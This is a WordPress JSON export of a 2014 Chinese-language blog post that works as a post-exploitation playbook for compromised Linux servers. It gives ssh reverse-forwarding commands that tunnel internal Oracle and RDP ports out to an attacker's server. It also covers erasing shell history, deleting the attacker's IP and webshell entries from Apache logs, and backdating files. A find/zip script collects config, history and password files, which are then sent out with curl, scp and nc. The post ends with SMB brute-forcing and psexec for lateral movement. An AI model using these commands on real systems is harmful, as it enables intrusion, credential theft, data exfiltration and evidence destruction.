{"id":773,"date":"2014-07-27T02:37:07","date_gmt":"2014-07-27T02:37:07","guid":{"rendered":"http:\/\/ixyzero.com\/blog\/?p=773"},"modified":"2014-07-27T02:37:07","modified_gmt":"2014-07-27T02:37:07","slug":"%e5%90%84%e7%a7%8d%e7%8e%af%e5%a2%83%e4%b8%8b%e7%9a%84%e6%b8%97%e9%80%8f%e6%b5%8b%e8%af%95","status":"publish","type":"post","link":"https:\/\/ixyzero.com\/blog\/archives\/773.html","title":{"rendered":"\u5404\u79cd\u73af\u5883\u4e0b\u7684\u6e17\u900f\u6d4b\u8bd5"},"content":{"rendered":"<p>\u5404\u4e2a\u7f51\u7ad9\u4e2d\u7684\u641c\u96c6+\u81ea\u5df1\u7684\u4fee\u6539=&gt;\u6587\u7ae0<\/p>\n<hr \/>\n<h6>\u4e00\u4e9b\u53cd\u5f39\u5de5\u5177\/\u811a\u672c\uff1a<\/h6>\n<p>nc\u3001phpsocks5\u3001s5.py\u3001back.py\u3001Perl\u7248\u7684socket\u4ee3\u7406\u2026\u2026\uff08\u603b\u4e4b\u57fa\u672c\u4e0a\u5404\u4e2a\u8bed\u8a00\u7684\u90fd\u53ef\u4ee5\u6709\uff0c\u5c31\u770b\u4f60\u80fd\u5426\u627e\u5230\u9002\u5408\u7684\uff0c\u5728Linux\u7cfb\u7edf\u4e0a\u548cbash\u76f8\u5173\u7684\u8f83\u591a\uff09<\/p>\n<h5>ssh\u7684\u51e0\u79cd\u59ff\u52bf<\/h5>\n<p>ssh\u6709\u51e0\u4e2a\u6bd4\u8f83\u91cd\u8981\u7684\u53c2\u6570\uff1a<br \/>\n-f: \u8fde\u63a5\u6210\u529f\u540e\u5207\u6362\u5230\u540e\u53f0\uff0c\u4e0d\u4f1a\u5360\u7528\u5f53\u524d\u7684shell\uff0cshell\u65ad\u4e86\u4e5f\u4f1a\u7ee7\u7eed\u6267\u884c\uff0c\u76f8\u5f53\u4e8e nohup \u548c &amp; \u3002<br \/>\n-N: \u8fde\u63a5\u540e\u4e0d\u8c03\u7528shell\uff0c\u7528\u5904\u540e\u9762\u8bb2\u3002<br \/>\n-R:\u628a\u672c\u5730\u7f51\u7edc(\u53ef\u4ee5\u662f\u672c\u673a\u6216\u8005\u4efb\u4f55\u5185\u7f51\u751a\u81f3\u5916\u7f51\u7aef\u53e3)\u7aef\u53e3\u53cd\u5f39\u5230ssh\u670d\u52a1\u5668<\/p>\n<p>\u7528\u6cd5\uff1a<br \/>\n\u9996\u5148\u4f60\u8981\u6709\u4e2a\u5916\u7f51ip\u7684ssh\u670d\u52a1\u5668\uff0c\u5982\u679c\u76ee\u6807\u5185\u7f51\u9650\u5236\u4e86\u8bbf\u95ee\u7aef\u53e3\uff0c\u53ef\u4ee5\u5f00\u5230\u5e38\u89c1\u7aef\u53e3\u6bd4\u598280\u6216\u8005443\u4e0a\u9762\uff0c\u53ef\u4ee5\u76f4\u63a5\u6539\u8bbe\u7f6e\u6216\u8005iptables\u6620\u5c04\u4e00\u4e0b\u3002\u4f60\u9700\u8981\u6709\u8fd9\u4e2a\u670d\u52a1\u5668\u7684root\u6743\u9650\u3002\u5728sshd_config\u91cc\u9762\u6253\u5f00\u7aef\u53e3\u8f6c\u53d1, AllowTcpForwarding yes \u8fd8\u6709 Gateway Ports,\u5982\u679c\u4e4b\u524d\u6ca1\u5f00\u7684\u8bdd\u6539\u5b8c\u9700\u8981\u91cd\u542f\u4e00\u4e0bsshd\u3002<\/p>\n<p>\u53e6\u5916\u5c31\u662f\u56e0\u4e3a\u53cd\u5f39\u7aef\u53e3\u9700\u8981\u8ba9\u76ee\u6807\u673a\u5668\u767b\u5f55\u5230\u4f60\u7684ssh\u670d\u52a1\u5668\uff0c\u4e3a\u4e86\u5b89\u5168\u8d77\u89c1\u9700\u8981\u5efa\u7acb\u4e00\u4e2a\u4e13\u95e8\u7528\u6765\u7aef\u53e3\u8f6c\u53d1\u7684\u7528\u6237\uff0cuseradd\u968f\u4fbf\u5efa\u4e2a\u7528\u6237\uff0c\u8bbe\u7f6e\u5bc6\u7801\u7136\u540e\u5230\/etc\/passwd\u91cc\u9762\uff0c\u628a\u6700\u540e\u4e00\u4e2a&#8217;:&#8217;\u540e\u9762\u7684shell\u4f4d\u7f6e\u6539\u6210\/sbin\/nologin\u6216\u8005\/bin\/false\uff0c\u8fd9\u6837\u5373\u4f7f\u5bf9\u65b9\u8bb0\u5f55\u4e86\u4f60\u7684ssh\u5bc6\u7801\u4e5f\u6ca1\u6cd5\u5bf9\u4f60\u8f6c\u53d1\u7684\u670d\u52a1\u5668\u505a\u4ec0\u4e48(\u6bd4\u5982\u53d6\u8bc1\u4e4b\u7c7b)<\/p>\n<p>-N\u7684\u4f5c\u7528\uff1a<br \/>\n\u56e0\u4e3a\u8f6c\u53d1\u7528\u7684\u7528\u6237\u6ca1\u6709shell\uff0c\u5982\u679c\u6ca1\u6709-N\u7684\u8bdd\u4f1a\u56e0\u4e3a\u5f97\u4e0d\u5230shell\u800c\u81ea\u52a8\u65ad\u5f00\u8fde\u63a5\uff0c-N\u53ef\u4ee5\u907f\u514d\u8fd9\u4e00\u70b9\u3002<\/p>\n<p>\u5f00\u59cb\u8f6c\u53d1\uff1a<br \/>\nssh -fNR \u8981\u53cd\u5f39\u5230\u7684\u7aef\u53e3:\u76ee\u6807\u672c\u673a\u6216\u8005\u5185\u5916ip:\u8981\u53cd\u5f39\u7684\u76ee\u6807\u7aef\u53e3 \u8f6c\u53d1\u4e13\u7528\u7528\u6237\u540d@\u4f60\u7684ssh\u670d\u52a1\u5668ip \u6267\u884c\u540e\u4f1a\u95ee\u4f60\u8f6c\u53d1\u7528\u6237\u540d\u7684\u5bc6\u7801\uff0c\u8f93\u5165\u6210\u529f\u540e\u4f1a\u81ea\u52a8\u5207\u6362\u5230\u540e\u53f0<\/p>\n<p>\u4f8b\u5b501\uff1a<br \/>\n\u672c\u5730\u8f6c\u53d1\uff1a \u76ee\u6807\u673a\u5668\u4e0a\u6709\u4e2aoracle\u7aef\u53e3\u57281521\uff0c\u4f46\u662f\u53ea\u80fd\u4ece\u5185\u7f51\u8bbf\u95ee\u3002\u63d0\u6743\u63d0\u4e0d\u4e0a\uff0c\u6ca1\u88c5sqlplus\u7b49\u5de5\u5177\uff0cwebshell\u6570\u636e\u5e93\u7ba1\u7406\u5404\u79cd\u51fa\u9519\uff0c\u4e0d\u8fc7\u7ffb\u5230\u4e86\u767b\u5f55\u7528\u6237\u540d\u548c\u5bc6\u7801\u3002\u4e0d\u8fc7\u6211\u81ea\u5df1\u7684\u673a\u5668\u4e0a\u88c5\u4e86\u4e2anavicat for oracle?? ssh\u670d\u52a1\u5668\u4e0a\u7684\u7aef\u53e3\u8f6c\u53d1\u7528\u6237\u540d\u53ebforward\uff0c\u670d\u52a1\u5668ip\u662f123.123.123.123<br \/>\nssh -fNR 11521:127.0.0.1:1521 forward@123.123.123.123<\/p>\n<p>\u6ce8\u610f\uff1a\u4e4b\u6240\u4ee5\u5f00\u523011521\u7aef\u53e3\u662f\u56e0\u4e3a&lt;1024\u7684\u7aef\u53e3\u9700\u8981root\u6743\u9650\u624d\u80fd\u5360\u7528\uff0c\u53e6\u5916\u6ce8\u610f\u4f60\u53cd\u5f39\u5230\u670d\u52a1\u5668\u7684\u7aef\u53e3\u4e0d\u80fd\u88abiptables\u4e4b\u7c7b\u7684\u6321\u4f4f\uff0c\u4e0d\u7136\u4f60\u6ca1\u6cd5\u4ece\u5916\u7f51\u8bbf\u95ee(\u5e9f\u8bdd\u4e48)<br \/>\n\u53cd\u5f39\u6210\u529f\u540e\uff0c\u6253\u5f00navicat\uff0c\u65b0\u5efa\u4e2a\u8fde\u63a5\uff0cip\u8f93\u5165123.123.123.123\uff0c\u7aef\u53e3\u8f93\u516511521,\u7136\u540e\u7528\u6237\u540d\u548c\u5bc6\u7801\uff0c\u556a\u556a\u556a??\u8fde\u4e0a\u4e86<\/p>\n<p>\u4f8b\u5b502:<br \/>\n\u5185\u7f51ip\u8f6c\u53d1\uff1a \u9664\u4e86\u80fd\u8f6c\u53d1localhost\uff0c\u8fd8\u80fd\u8f6c\u53d1\u5185\u7f51\u5176\u4ed6ip\u7684\u7aef\u53e3\uff0c\u751a\u81f3\u5728\u4e0d\u540c\u7f51\u6bb5\u90fd\u884c\uff0c\u53ea\u8981\u80fd\u4ece\u5185\u7f51\u7684\u5df2\u6ca6\u9677\u673a\u5668\u8bbf\u95ee\u5230\u5c31\u884c\u3002\u6bd4\u5982\u5185\u7f51\u6709\u4e2awindows\u670d\u52a1\u5668\uff0cip 192.168.5.10, \u5f00\u4e863389\u7aef\u53e3\uff0c\u4e0d\u8fc7\u4e5f\u53ea\u80fd\u5728\u5185\u7f51\u8bbf\u95ee??<br \/>\nssh -fNR 13389:192.168.5.10:3389 forward@123.123.123.123<br \/>\n\u53cd\u5f39\u6210\u529f\u540emstsc\u8fde123.123.123.123:13389\u5373\u53ef??<br \/>\nssh\u8f6c\u53d1\u7aef\u53e3\u662f\u53ef\u4ee5\u591a\u5f00\u7684\uff0c\u5c31\u662f\u8981\u6ce8\u610f\u8f6c\u53d1\u5230\u4f60\u670d\u52a1\u5668\u7684\u7aef\u53e3\u4e0d\u8981\u91cd\u4e86\u3002<\/p>\n<p>\u7528\u5b8c\u4e4b\u540e\u8bb0\u5f97\u5173\u6389:<br \/>\nps aux|grep ssh<br \/>\n\u5728\u8fdb\u7a0b\u91cc\u53ef\u4ee5\u770b\u5230ssh\u7684\u8f6c\u53d1\u547d\u4ee4\uff0c\u628apid kill\u4e86\u5c31\u884c\u3002\u53e6\u5916\u4e5f\u53ef\u4ee5\u5728ssh\u670d\u52a1\u5668\u7aefkill\uff0c<\/p>\n<p>netstat -anp|grep sshd<br \/>\nssh\u7684\u65f6\u5019\u4f1a\u8bb0\u5f55known_hosts\uff0c\u6240\u4ee5\u6700\u540e\u64e6\u5c41\u80a1\u7684\u65f6\u5019\u8bb0\u5f97\u5230\u5f00ssh\u7684\u7528\u6237\u540d\u7684home\u6587\u4ef6\u5939 .ssh\u91cc\u9762\u628aknown_hosts\u6e05\u6389<\/p>\n<p>ssh\u53cd\u5f39socks5\u65b9\u6cd5<br \/>\n\u5982\u679c\u7528ssh\u81ea\u5e26\u7684socks5\u670d\u52a1\u5668\u7684\u8bdd\uff0c\u9700\u8981\u4e00\u4e2a\u80fd\u5728\u672c\u5730\u767b\u5f55\u7684\u5e10\u53f7\uff0c\u53ef\u4ee5\u662fnologin\u7684\uff0c\u4f46\u662f\u5fc5\u987b\u8981\u80fd\u767b\u5f55\uff0c\u5982\u679c\u4e0d\u662froot\u7684\u8bdd\uff0csocks\u7aef\u53e3\u53ea\u80fd\u5f00\u5230&gt;1024\u7684\u7aef\u53e3\u3002\u539f\u7406\u662f\u5148\u5728\u672c\u5730\u5f00socks5\uff0c\u7136\u540e\u628a\u672c\u5730socks5\u670d\u52a1\u5668\u7684\u7aef\u53e3\u5f39\u5230\u8fdc\u7a0b\u670d\u52a1\u5668\u3002<\/p>\n<p>\u59ff\u52bf\uff1a<br \/>\nssh -fND 127.0.0.1:8080 user@127.0.0.1<br \/>\n\u8fd9\u6837\u4f1a\u5728\u672c\u57308080\u7aef\u53e3\u5f00socks5\u4ee3\u7406\uff0c\u7136\u540e\u53cd\u5f39<\/p>\n<p>ssh -fNR 18080:127.0.0.1:8080 forward@123.123.123.123<br \/>\n\u8fd9\u6837\u53ef\u4ee5\u628asocks5\u4ee3\u7406\u5f39\u5230123.123.123.123\u768418080\u7aef\u53e3\uff0c\u53ef\u4ee5\u7528proxychains\u548c\u5176\u4ed6\u652f\u6301socks5\u4ee3\u7406\u7684\u5de5\u5177\u6700\u5927\u9650\u5ea6\u7684\u7aa5\u63a2\u5185\u7f51<\/p>\n<h5>Linux\u4e0b\u9690\u85cf\u75d5\u8ff9<\/h5>\n<p>\u901a\u8fc7\u5176\u4ed6\u65b9\u5f0f\u5f97\u5230shell\u7684\u8bdd\uff0c\u9700\u8981\u53bb\u6389histfile\u7b49\u73af\u5883\u53d8\u91cf\uff1a<br \/>\nunset HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG; export HISTFILE=\/dev\/null;<\/p>\n<p>\u767b\u5f55ssh\u540e\u7ba1\u7406\u5458\u7528w\u67e5\u770b\u5f53\u524d\u767b\u5f55\u7528\u6237\uff0c\u6240\u4ee5\u6709\u5fc5\u8981\u9690\u85cf\uff1b<\/p>\n<p>\u53bb\u6389\u6587\u4ef6\u4e2d\u5339\u914dpattern\u7684\u884c\uff1a<br \/>\nawk &#8216;!\/pattern\/&#8217; filename &gt; temp &amp;&amp; mv temp filename<\/p>\n<p>\u8fd9\u4e2a\u539f\u7406\u8bf4\u767d\u4e86\u5c31\u662f\u53bb\u6389\u539f\u6587\u4ef6\u91cc\u7684\u6307\u5b9a\u5185\u5bb9\u7136\u540e\u751f\u6210\u65b0\u6587\u4ef6\uff0c\u518d\u7528\u65b0\u7684\u8986\u76d6\u65e7\u7684\uff0c\u5f04\u5b8c\u8bb0\u5f97\u7528chmod\u8fd8\u539f\u539f\u6765\u7684\u5c5e\u6027\u3002\u4f8b\u5b50\uff1a<\/p>\n<p>awk &#8216;!\/123.123.123.123\/&#8217; \/var\/log\/httpd\/access_log &gt; temp &amp;&amp; mv temp \/var\/log\/httpd\/access_log<\/p>\n<p>\u53bb\u6389\u6240\u6709\u5305\u542b123.123.123.123\u7684\u65e5\u5fd7\u8bb0\u5f55\u3002<\/p>\n<p>\u4e5f\u53ef\u4ee5\u540c\u65f6\u5339\u914d\u591a\u4e2a\u5173\u952e\u8bcd\uff1a<br \/>\nawk &#8216;!\/123.123.123.123|111.111.111.111|phpspy.php\/&#8217; \/var\/log\/httpd\/access_log &gt; temp &amp;&amp; mv temp \/var\/log\/httpd\/access_log<\/p>\n<p>\u4fee\u6539\u6587\u4ef6\u8bbf\u95ee|\u521b\u5efa|\u4fee\u6539\u65f6\u95f4\uff1a<br \/>\ntouch -amt 200901231532 \u6587\u4ef6\u540d<br \/>\n\u6539\u62102009\u5e741\u670823\u53f715\u70b932\u5206<\/p>\n<p>\u6279\u91cf\u4fee\u6539\u65f6\u95f4\uff1a<br \/>\n\u6bd4\u5982\u4f60\u5728\u4e00\u4e2a\u6587\u4ef6\u5939\u6539\u4e86\u5f88\u591aphp\u63d2\u4e86\u4e00\u5806\u4e00\u53e5\u8bdd:<br \/>\nls|xargs touch -amt 200901231532<br \/>\n\u628a\u5f53\u524d\u76ee\u5f55\u6240\u6709\u6587\u4ef6\u65f6\u95f4\u90fd\u6539\u4e86\u3002<\/p>\n<h5>\u4fe1\u606f\u641c\u96c6<\/h5>\n<pre class=\"lang:default decode:true \">#!\/bin\/bash\n# Linux shell script for information gathering\n\n# \u627e\u51fa\u6240\u6709.sh .pl .py .conf .cnf .ini .*history .*pass* (\/usr\/share\u76ee\u5f55\u91cc\u9762\u7684\u9664\u5916)\n# \u5e76\u4e14\u5728\u5f53\u524d\u76ee\u5f55zip\u6253\u5305\u3002\u6709\u4e9b\u65f6\u5019\u5f88\u591a\u914d\u7f6e\u6587\u4ef6\u7684\u6743\u9650\u914d\u7f6e\u4e0d\u4e25\uff0c\u5982\u679c\u641c\u96c6\u5b8c\u5168\u7684\u8bdd\u5bf9\u4e8e\u8fdb\u884c\u4e0b\u4e00\u6b65\u6709\u5f88\u5927\u5e2e\u52a9\u3002\n# Find all .sh .pl .py .conf .cnf .ini .*history .*pass* under \"\/\"(Except in \/usr\/share) then zip in current directory\n\nfind \/ ! -path \"\/usr\/share\/*\" -regex \".*.sh$|.*.pl$|.*.py$|.*.conf$|.*.cnf$|.*.ini$|.*\/..*history$|.*\/..*pass.*\" -print | zip pack.zip -@\n\n# Linux command --&gt; zip\n# Option: -@ --&gt; Take the list of input files from standard input. Only one filename per line.\u4ece\u6807\u51c6\u8f93\u5165\u4e2d\u8bfb\u53d6\u540d\u79f0\uff0c\u4e00\u4e2a\u8def\u5f84\u540d\u79f0\u7528\u4e00\u884c<\/pre>\n<p>\u6253\u5305\u5404\u79cd\u811a\u672c\u548c\u914d\u7f6e\u6587\u4ef6\u8fd8\u6709history\u65e5\u5fd7\u3002\u6709\u7684\u73af\u5883\u4e0bzip\u9700\u8981\u4e00\u4e9b\u53c2\u6570\u624d\u80fd\u7528\uff0c\u8bf7\u81ea\u884c\u4fee\u6539\u3002<\/p>\n<p>\u5728\/var\/www\u641c\u96c6\u5168\u90e8 conf.php\u7136\u540e\u6253\u5305\uff1a<\/p>\n<p>find \/var\/www -name &#8216;*conf*.php&#8217; -print | zip config.zip -@<\/p>\n<p>\u627e\u5305\u542b\u7279\u5b9a\u5185\u5bb9\u7684\u6587\u4ef6\u5e76\u4e14\u90a3\u4e00\u884c\u663e\u793a\u51fa\u6765\uff1a<\/p>\n<p>grep -RPa &#8211;include=*.php &#8216;($PATTERNS)&#8217; $SEARCH_DIR<\/p>\n<p>\u6bd4\u5982\u5728web\u76ee\u5f55\u627e\u5305\u542bpassword\u8fd9\u4e2a\u8bcd\u7684\u6240\u6709php<\/p>\n<p>grep -RPa &#8211;include=*.php &#8216;password&#8217; \/var\/www<\/p>\n<p>pattern\u53ef\u4ee5\u7528\u6b63\u5219\uff0c\u53ef\u4ee5\u4e0d\u6307\u5b9a\u6587\u4ef6\u7c7b\u578b(\u4f1a\u5f88\u6162!)<\/p>\n<h5>\u6587\u4ef6\u4f20\u9001<\/h5>\n<p>\u627e\u5230\u9700\u8981\u7684\u4e1c\u897f\u540e\uff0c\u600e\u4e48\u5f80\u5916\u53d1\u4e5f\u662f\u4e2a\u95ee\u9898\uff0c\u4e00\u822c\u5927\u6587\u4ef6\u7528ftp\uff0cscp,\u5c0f\u6587\u4ef6\u7528nc\u3002<\/p>\n<p>ftp\u65b9\u6cd5\uff1a<br \/>\n\u5982\u679c\u76ee\u6807\u88c5\u4e86curl\u7684\u8bdd\u5c31\u5f88\u7b80\u5355\u4e86<br \/>\ncurl -v -T \u6587\u4ef6\u540d ftp:\/\/username:password@ftpip<\/p>\n<p>scp\u65b9\u6cd5:<br \/>\n\u9002\u5408\u6709ids\u4e4b\u7c7b\u4e1c\u897f\u7684\u5730\u65b9\uff0c\u53ef\u4ee5\u628asshd\u5f00\u5230443\u7b49\u4f20\u7edf\u52a0\u5bc6\u6d41\u91cf\u7684\u63a5\u53e3\uff0cscp\u5e10\u53f7\u9700\u8981\u6709\u5199\u5165\u548c\u6267\u884cshell\u7684\u6743\u9650<br \/>\nscp backup.tgz user@123.123.123.123:\/tmp\/backup.tgz<\/p>\n<p>nc\u65b9\u6cd5:<br \/>\n\u5148\u5728\u670d\u52a1\u7aef\u76d1\u542c<br \/>\nnc -l port &gt; \u6587\u4ef6\u540d<br \/>\n\u7136\u540e\u5230\u8981\u53d1\u9001\u6587\u4ef6\u7684\u670d\u52a1\u5668<\/p>\n<p>nc \u670d\u52a1\u7aefip \u7aef\u53e3 &lt; \u6587\u4ef6\u540d<br \/>\n\u53d1\u9001\u5c0f\u6587\u4ef6\u8fd8\u884c\uff0c\u5927\u6587\u4ef6\u6709\u65f6\u5019\u4f1a\u65ad\u3002<\/p>\n<h5>\u4eceLinux\u5230Windows<\/h5>\n<p>\u6709\u4e9b\u65f6\u5019\u4f60\u62ff\u4e86linux\u670d\u52a1\u5668\u7684shell\uff0c\u60f3\u8de8\u5230windows\u7684\u673a\u5668\u4e0a\uff0c\u57fa\u672c\u5c31\u662f\u901a\u8fc7\u4e24\u4e2a\u624b\u6bb5\uff0c\u4e00\u4e2a\u662f\u9488\u5bf9windows\u7684\u670d\u52a1\u8fdb\u884cexploit\u6ea2\u51fa\uff0c\u8fd8\u6709\u5c31\u662f\u5229\u7528\u5728linux\u4e0a\u641c\u96c6\u7684\u7528\u6237\u540d\u548c\u5bc6\u7801\u7136\u540e\u901a\u8fc7psexec\u653eshell\u3002<\/p>\n<p>\u9996\u5148\u8981\u786e\u5b9awindows\u4e3b\u673a\u7684\u4f4d\u7f6e\u548c\u6253\u5f00\u7684\u670d\u52a1\uff0c\u5728\u5185\u7f51\u626b\u5f00445\u548c3389\u7684\u673a\u5668\uff0c\u57fa\u672c\u662fwindows\u4e86\uff0c\u626b\u7684\u65f6\u5019\u8981\u6ce8\u610f\uff0c\u4e0d\u7ba1\u7528\u4ec0\u4e48\u5de5\u5177\uff0c\u5c3d\u91cf\u7528socket connect\u7684\u65b9\u5f0f\u626b\u3002\u50cfSYN \u65b9\u5f0f\u626b\u63cf\u5982\u679c\u5185\u7f51\u6709ids\u4e4b\u7c7b\u80af\u5b9a\u4f1a\u88ab\u53d1\u73b0\uff0cconnect\u65b9\u5f0f\u626b\u63cf\u76f8\u5bf9\u6765\u8bf4\u548c\u6b63\u5e38\u8fde\u63a5\u5dee\u4e0d\u591a\u3002 \u626b\u5230windows\u673a\u5668\u5217\u8868\u540e\uff0c\u51c6\u5907\u597d\u521a\u624d\u5728linux\u4e0b\u6536\u96c6\u7684\u5404\u79cd\u7528\u6237\u540d\u548c\u5bc6\u7801\uff0c\u8fd8\u6709\u4e00\u4e9b\u5e38\u89c1\u7684\u5f31\u5bc6\u7801\uff0c\u751f\u6210\u5bc6\u7801\u5b57\u5178\u548c\u7528\u6237\u540d\u5b57\u5178\uff0c\u5b57\u5178\u91cc\u518d\u52a0\u4e0a\u4e00\u4e9bwindows\u672c\u8eab\u7684\u7528\u6237\u540d\uff0c\u6bd4\u5982administrator\u3002 \u5c1d\u8bd5\u5bc6\u7801\u7684\u8bdd\u76f4\u63a5\u5728linux\u4e0b\u7528hydra\uff0c\u7834\u89e3smb\u5bc6\u7801\uff0c\u8fd0\u6c14\u597d\u7684\u8bdd\uff0c\u53ea\u8981\u626b\u51fa\u4e00\u4e2a\uff0c\u5c31\u80fd\u7528psexec getshell\u4e86\u3002\u8fd0\u6c14\u4e0d\u597d\u5c31\u5269\u4e0b\u6ea2\u51fa\u8fd9\u4e00\u6761\u8def\u4e86\u3002\u5982\u679c\u6ea2\u51fa\u90fd\u4e0d\u884c\uff0cwindows\u4e3b\u673a\u548clinux\u5728\u540c\u4e00\u4e2a\u7f51\u6bb5\u7684\u8bdd\uff0c\u8fd8\u53ef\u4ee5\u8bd5\u8bd5\u901a\u8fc7arp spoof\u6293smb\u8ba4\u8bc1\u5305\uff0c\u7136\u540e\u628ahash\u5f04\u51fa\u6765\u7834\u89e3\u6216\u8005\u6ce8\u5165hash\uff0c\u4f46\u662f\u52a8\u9759\u4f1a\u6bd4\u8f83\u5927\uff0c\u4e0d\u5230\u6700\u540e\u4e0d\u5efa\u8bae\u4f7f\u7528\u3002<\/p>\n<h5>psexec<\/h5>\n<p>\u6709\u51e0\u79cd\u9009\u62e9\uff0cmetasploit\u91cc\u9762auxiliary\u91cc\u9762\u7684psexec\u6a21\u5757\uff0c\u53ef\u4ee5\u76f4\u63a5\u653e\u4e2amsf\u7684reverse paylaod\u4e0a\u53bb\u3002\u53e6\u5916\u53ef\u4ee5\u628awindows\u7684\u670d\u52a1\u5668\u7684445\u7aef\u53e3\u53cd\u5f39\u51fa\u6765\uff0c\u518d\u627e\u4e2awindows\u7684\u673a\u5668\u7528psexec\u3002\u8fd8\u6709\u5c31\u662f\u76f4\u63a5\u5728\u5185\u7f51\u7684linux\u673a\u5668\u4e0a\u7528python\u7684psexec\uff0chttps:\/\/code.google.com\/p\/impacket\/<\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u5404\u4e2a\u7f51\u7ad9\u4e2d\u7684\u641c\u96c6+\u81ea\u5df1\u7684\u4fee\u6539=&gt;\u6587\u7ae0 \u4e00\u4e9b\u53cd\u5f39\u5de5\u5177\/\u811a\u672c\uff1a nc\u3001phpsocks5\u3001s5.py\u3001bac [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[23,25],"tags":[37],"class_list":["post-773","post","type-post","status-publish","format-standard","hentry","category-knowledgebase-2","category-security","tag-security"],"views":11956,"_links":{"self":[{"href":"https:\/\/ixyzero.com\/blog\/wp-json\/wp\/v2\/posts\/773","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/ixyzero.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/ixyzero.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/ixyzero.com\/blog\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/ixyzero.com\/blog\/wp-json\/wp\/v2\/comments?post=773"}],"version-history":[{"count":0,"href":"https:\/\/ixyzero.com\/blog\/wp-json\/wp\/v2\/posts\/773\/revisions"}],"wp:attachment":[{"href":"https:\/\/ixyzero.com\/blog\/wp-json\/wp\/v2\/media?parent=773"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/ixyzero.com\/blog\/wp-json\/wp\/v2\/categories?post=773"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/ixyzero.com\/blog\/wp-json\/wp\/v2\/tags?post=773"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}